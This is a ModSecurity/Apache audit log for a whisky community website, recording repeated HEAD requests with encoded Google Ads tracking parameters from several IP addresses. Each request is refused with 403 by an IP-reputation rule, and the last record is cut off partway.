[13/Sep/2026:07:23:41.332844 +0300] aqYlTUwu1RSkptiiNIXvrAAAAII 151.243.174.20 55306 127.0.0.1 7081
--0636856a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.20
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--0636856a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0636856a-E--
--0636856a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273421326829 6066 (- - -)
Stopwatch2: 1789273421326829 6066; combined=4535, p1=254, p2=3918, p3=65, p4=7, p5=291, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0636856a-Z--
--7e047220-A--
[13/Sep/2026:07:23:41.764583 +0300] aqYlTWM7dE9KgIIOpQhhnAAAAMs 95.134.102.76 55308 127.0.0.1 7081
--7e047220-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--7e047220-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7e047220-E--
--7e047220-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273421758589 6064 (- - -)
Stopwatch2: 1789273421758589 6064; combined=4542, p1=228, p2=3981, p3=64, p4=7, p5=262, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7e047220-Z--
--d36e1e2f-A--
[13/Sep/2026:07:23:42.827754 +0300] aqYlTmM7dE9KgIIOpQhhngAAANA 151.243.174.103 55328 127.0.0.1 7081
--d36e1e2f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d36e1e2f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d36e1e2f-E--
--d36e1e2f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273422821537 6258 (- - -)
Stopwatch2: 1789273422821537 6258; combined=4672, p1=280, p2=4024, p3=74, p4=7, p5=287, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d36e1e2f-Z--
--e35d442c-A--
[13/Sep/2026:07:23:43.188514 +0300] aqYlT0wu1RSkptiiNIXvrQAAAIY 151.243.174.229 55346 127.0.0.1 7081
--e35d442c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e35d442c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e35d442c-E--
--e35d442c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273423182528 6035 (- - -)
Stopwatch2: 1789273423182528 6035; combined=4396, p1=246, p2=3828, p3=71, p4=6, p5=245, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e35d442c-Z--
--9015fe3b-A--
[13/Sep/2026:07:23:43.638676 +0300] aqYlT0wu1RSkptiiNIXvrgAAAJI 95.134.102.169 55352 127.0.0.1 7081
--9015fe3b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--9015fe3b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--9015fe3b-E--
--9015fe3b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273423631522 7200 (- - -)
Stopwatch2: 1789273423631522 7200; combined=5369, p1=364, p2=4631, p3=93, p4=9, p5=272, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9015fe3b-Z--
--27cd8313-A--
[13/Sep/2026:07:23:48.706816 +0300] aqYlVGM7dE9KgIIOpQhhowAAANI 151.243.174.135 46714 127.0.0.1 7081
--27cd8313-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--27cd8313-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--27cd8313-E--
--27cd8313-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273428699547 7341 (- - -)
Stopwatch2: 1789273428699547 7341; combined=4794, p1=344, p2=4040, p3=69, p4=6, p5=334, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--27cd8313-Z--
--d9840939-A--
[13/Sep/2026:07:23:49.080859 +0300] aqYlVTTJ6xTvcJoem7f2YwAAAEY 95.134.102.25 46730 127.0.0.1 7081
--d9840939-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d9840939-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d9840939-E--
--d9840939-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273429073952 6963 (- - -)
Stopwatch2: 1789273429073952 6963; combined=5209, p1=264, p2=4440, p3=86, p4=9, p5=409, sr=119, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d9840939-Z--
--93f82e77-A--
[13/Sep/2026:07:23:49.468700 +0300] aqYlVWM7dE9KgIIOpQhhpAAAAMQ 95.134.102.135 46738 127.0.0.1 7081
--93f82e77-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--93f82e77-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--93f82e77-E--
--93f82e77-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273429462200 6541 (- - -)
Stopwatch2: 1789273429462200 6541; combined=4500, p1=219, p2=3903, p3=59, p4=6, p5=313, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93f82e77-Z--
--81ebb72b-A--
[13/Sep/2026:07:24:14.543848 +0300] aqYlbmM7dE9KgIIOpQhhqAAAANc 95.134.102.118 34106 127.0.0.1 7081
--81ebb72b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.118
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--81ebb72b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--81ebb72b-E--
--81ebb72b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273454536959 6968 (- - -)
Stopwatch2: 1789273454536959 6968; combined=4698, p1=290, p2=4039, p3=70, p4=6, p5=293, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--81ebb72b-Z--
--66955036-A--
[13/Sep/2026:07:24:14.923712 +0300] aqYlbmM7dE9KgIIOpQhhqQAAANQ 95.134.102.141 34118 127.0.0.1 7081
--66955036-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--66955036-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--66955036-E--
--66955036-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273454913940 9827 (- - -)
Stopwatch2: 1789273454913940 9827; combined=5931, p1=1667, p2=3913, p3=67, p4=6, p5=278, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--66955036-Z--
--acc32444-A--
[13/Sep/2026:07:24:15.312673 +0300] aqYlb2M7dE9KgIIOpQhhqwAAAMg 151.243.174.248 34132 127.0.0.1 7081
--acc32444-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.248
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--acc32444-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--acc32444-E--
--acc32444-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273455305393 7320 (- - -)
Stopwatch2: 1789273455305393 7320; combined=5548, p1=304, p2=4844, p3=94, p4=9, p5=297, sr=171, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--acc32444-Z--
--1838f20b-A--
[13/Sep/2026:07:24:26.467997 +0300] aqYlejTJ6xTvcJoem7f2ZgAAAFg 151.243.174.181 40228 127.0.0.1 7081
--1838f20b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--1838f20b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1838f20b-E--
--1838f20b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273466462044 6006 (- - -)
Stopwatch2: 1789273466462044 6006; combined=4427, p1=220, p2=3844, p3=83, p4=8, p5=272, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1838f20b-Z--
--a8b05f2b-A--
[13/Sep/2026:07:24:26.572095 +0300] aqYleisVWymXUono-eRRNwAAAA0 95.134.102.153 40236 127.0.0.1 7081
--a8b05f2b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--a8b05f2b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a8b05f2b-E--
--a8b05f2b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273466565995 6160 (- - -)
Stopwatch2: 1789273466565995 6160; combined=4574, p1=261, p2=3887, p3=64, p4=7, p5=355, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a8b05f2b-Z--
--fcb41a42-A--
[13/Sep/2026:07:24:26.949300 +0300] aqYlemM7dE9KgIIOpQhhrQAAAMY 95.134.102.154 40244 127.0.0.1 7081
--fcb41a42-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--fcb41a42-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fcb41a42-E--
--fcb41a42-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273466939234 10191 (- - -)
Stopwatch2: 1789273466939234 10191; combined=7578, p1=437, p2=6449, p3=91, p4=10, p5=591, sr=173, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fcb41a42-Z--
--e0ba8e23-A--
[13/Sep/2026:07:24:27.828096 +0300] aqYle0wu1RSkptiiNIXvsgAAAIU 151.243.174.229 40272 127.0.0.1 7081
--e0ba8e23-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e0ba8e23-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e0ba8e23-E--
--e0ba8e23-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273467822331 5804 (- - -)
Stopwatch2: 1789273467822331 5804; combined=4335, p1=278, p2=3670, p3=95, p4=7, p5=284, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e0ba8e23-Z--
--3ca60241-A--
[13/Sep/2026:07:24:28.211207 +0300] aqYlfCsVWymXUono-eRROAAAABE 95.134.102.152 40286 127.0.0.1 7081
--3ca60241-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--3ca60241-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3ca60241-E--
--3ca60241-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273468204880 6367 (- - -)
Stopwatch2: 1789273468204880 6367; combined=4717, p1=264, p2=4033, p3=125, p4=11, p5=284, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ca60241-Z--
--d4313b4e-A--
[13/Sep/2026:07:24:28.623765 +0300] aqYlfCsVWymXUono-eRROQAAABI 95.134.102.240 40294 127.0.0.1 7081
--d4313b4e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d4313b4e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d4313b4e-E--
--d4313b4e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273468609200 14659 (- - -)
Stopwatch2: 1789273468609200 14659; combined=10763, p1=632, p2=9306, p3=172, p4=28, p5=625, sr=319, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4313b4e-Z--
--fb953638-A--
[13/Sep/2026:07:24:56.927090 +0300] aqYlmEwu1RSkptiiNIXvtAAAAJQ 91.124.31.238 60936 127.0.0.1 7081
--fb953638-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--fb953638-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fb953638-E--
--fb953638-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273496914005 13132 (- - -)
Stopwatch2: 1789273496914005 13132; combined=7287, p1=1944, p2=4921, p3=85, p4=9, p5=327, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb953638-Z--
--ced28e45-A--
[13/Sep/2026:07:25:04.690832 +0300] aqYloEwu1RSkptiiNIXvtgAAAIk 95.134.102.137 60960 127.0.0.1 7081
--ced28e45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.137
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--ced28e45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ced28e45-E--
--ced28e45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
